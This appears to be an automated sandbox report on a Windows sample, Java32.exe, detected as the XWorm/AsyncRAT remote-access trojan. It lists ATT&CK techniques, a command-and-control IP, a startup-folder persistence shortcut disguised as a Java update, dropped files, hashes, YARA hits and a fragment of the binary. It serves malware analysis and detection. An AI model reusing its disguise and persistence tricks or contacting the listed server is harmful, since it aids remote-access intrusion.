Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 System Network Configuration Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Obfuscated Files or Information	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	23 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Java32.exe	77%	Virustotal		Browse
Java32.exe	76%	ReversingLabs	ByteCode-MSIL.Spyware.AsyncRAT
Java32.exe	100%	Avira	TR/Spy.Gen
Java32.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\Java Update(32bit).exe	100%	Avira	TR/Spy.Gen
C:\ProgramData\Java Update(32bit).exe	100%	Joe Sandbox ML
C:\ProgramData\Java Update(32bit).exe	76%	ReversingLabs	Win32.Exploit.Xworm

Source	Detection	Scanner	Label	Link
45.141.26.234	0%	Avira URL Cloud	safe
https://ion=v4.535A	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
45.141.26.234	true	Avira URL Cloud: safe	unknown
http://ip-api.com/line/?fields=hosting	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2103080427.000001FDF5871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2196994742.000002B168321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2350753391.0000014C10071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2556361661.000001ECEFE2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.2420491413.000001ECDFFEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.microsoft.co	powershell.exe, 00000002.00000002.2107774025.000001FDFDD78000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2080562357.000001FDE5A29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2142001821.000002B1584D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2260866847.0000014C00229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2420491413.000001ECDFFEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.2420491413.000001ECDFFEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2080562357.000001FDE5A29000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2142001821.000002B1584D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2260866847.0000014C00229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2420491413.000001ECDFFEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000000A.00000002.2556361661.000001ECEFE2F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2103080427.000001FDF5871000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2196994742.000002B168321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2350753391.0000014C10071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2556361661.000001ECEFE2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.microsoft.co	powershell.exe, 00000005.00000002.2212728245.000002B170830000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2584026441.000001ECF8290000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000000A.00000002.2556361661.000001ECEFE2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.mic	powershell.exe, 00000005.00000002.2210252051.000002B170703000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2587286696.000001ECF845E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.2556361661.000001ECEFE2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micft.cMicRosof	powershell.exe, 00000005.00000002.2210252051.000002B170703000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2587286696.000001ECF845E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2080562357.000001FDE5801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2142001821.000002B1582B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2260866847.0000014C00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2420491413.000001ECDFDC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Java32.exe, 00000000.00000002.3280755045.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2080562357.000001FDE5801000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2142001821.000002B1582B1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2260866847.0000014C00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2420491413.000001ECDFDC1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.v	powershell.exe, 00000008.00000002.2376698872.0000014C6EDE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.2420491413.000001ECDFFEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ion=v4.535A	powershell.exe, 00000002.00000002.2109287911.000001FDFE1AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
45.141.26.234	unknown	Netherlands		62068	SPECTRAIPSpectraIPBVNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583255
Start date and time:	2025-01-02 09:44:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Java32.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@13/20@1/2
EGA Information:	Successful, ratio: 20%
HCA Information:	Successful, ratio: 98% Number of executed functions: 51 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.45
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1656 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5584 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6500 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6780 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:45:02	API Interceptor	52x Sleep call for process: powershell.exe modified
03:46:05	API Interceptor	127167x Sleep call for process: Java32.exe modified
09:45:58	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update(32bit).lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	intro.avi.exe	Get hash	malicious	Quasar	Browse	ip-api.com/json/
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	ip-api.com/line/?fields=hosting
	ANuh30XoVu.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	rivalsanticheat.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	ip-api.com/json
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	ip-api.com/xml
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	ip-api.com/json/?fields=225545
45.141.26.234	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	45.141.26.234/x.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ip-api.com	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	ANuh30XoVu.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rivalsanticheat.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	208.95.112.1
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	208.95.112.1
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPECTRAIPSpectraIPBVNL	nklmips.elf	Get hash	malicious	Unknown	Browse	89.190.159.77
	1.elf	Get hash	malicious	Unknown	Browse	45.141.239.79
	TRC.ppc.elf	Get hash	malicious	Mirai	Browse	45.144.191.245
	da6ke5KbfB.exe	Get hash	malicious	AsyncRAT, Babadeda, XWorm	Browse	45.141.26.234
	03VPFXH490.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.234
	saiya.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.134
	windxcmd.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.134
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	45.138.53.54
	18fvs4AVae.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	45.141.26.170
	Fulloption_V2.1.exe	Get hash	malicious	XWorm	Browse	45.141.27.248
TUT-ASUS	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	intro.avi.exe	Get hash	malicious	Quasar	Browse	208.95.112.1
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	L988Ph5sKX.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	kj93GnZHBS.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	ANuh30XoVu.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rivalsanticheat.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	rename_me_before.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse	208.95.112.1
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	208.95.112.1
	Fizzy Loader.exe	Get hash	malicious	Blank Grabber, Umbral Stealer	Browse	208.95.112.1

Process:	C:\Users\user\Desktop\Java32.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	108032
Entropy (8bit):	6.362235917726401
Encrypted:	false
SSDEEP:	1536:P6wH/d05ZE5rKn/JvAobz73d16YAlOpYMPG17qjh3rmKPNI:P6agVnx4obzQlOpZGwjZqMNI
MD5:	9664AD464838E6F6E2196A594EF5682F
SHA1:	F975CDC29E519F08DF38FF375B587B4DB9EA676E
SHA-256:	9119D9E8D1A7078C637D5AF9D09D5FCE63C9FB300B47C08E580387A867F97A46
SHA-512:	33838F172A0FAD1129CACEF9FEA67839FFDD2C9FEC730FB36C941B904118044964AB0AAFA3F649F59CE4239911B1264EB10D605CEAC2DDE4B7FA7A0380E14A89
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\ProgramData\Java Update(32bit).exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\ProgramData\Java Update(32bit).exe, Author: Joe Security Rule: rat_win_xworm_v3, Description: Finds XWorm (version XClient, v3) samples based on characteristic strings, Source: C:\ProgramData\Java Update(32bit).exe, Author: Sekoia.io Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\ProgramData\Java Update(32bit).exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....oig.................$...........C... ...`....@.. ....................................@..................................C..S....`..>\|........................................................................... ............... ..H............text....#... ...$.................. ..`.rsrc...>\|...`...~...&..............@..@.reloc..............................@..B.................C......H.......8b..P.......&.....................................................(.....r...p. S.....(.....r...p. .....s.........s.........s.........s..........rS..p. ..[..r...p. .r}..r...p. p{..r...p. ....r;..p. ......((....rk..p. ....r...p. [.x..(+...-.(,...,.+.(-...,.+.(...,.+.()...,..(U..."(....+.&(....&+..+5sf... .... .'..og...(,...~....-.(_...(Q...~....oh...&.-..r...p. ....r...p. ..e..r9..p. .TY..rs..p. .....r...p.r...p.r!..p. .i.*.r[.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Process:	C:\Users\user\Desktop\Java32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	29
Entropy (8bit):	3.598349098128234
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsra:EFYJKDoWra
MD5:	2C11513C4FAB02AEDEE23EC05A2EB3CC
SHA1:	59177C177B2546FBD8EC7688BAD19D08D32640DE
SHA-256:	BCF3676333E528171EEE1055302F3863A0C89D9FFE7017EA31CF264E13C8A699
SHA-512:	08196AFA62650F1808704DCAD9918DA11175CD8792878F63E35F517B4D6CF407AC9E281D9B71A76E4CC1486CAD7079C56B74ECBEDB0A0F0DD4170FB0D30D2BAD
Malicious:	false
Preview:	....### explorer ###..[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1tuzwkue.jie.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2amyoopb.xh4.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2jnpan0s.0rt.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3fw30soo.e0c.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3usgs4h4.22j.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5dfr54pk.533.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aesyboj1.nif.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3tvt3fl.035.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hspeqy2z.vqg.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ivjvlwh3.rie.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kekqg1vp.2uz.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lpwxu1wj.135.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_o20acevl.s2d.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rsyjxqh2.ip5.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wkqemvz5.u11.psm1

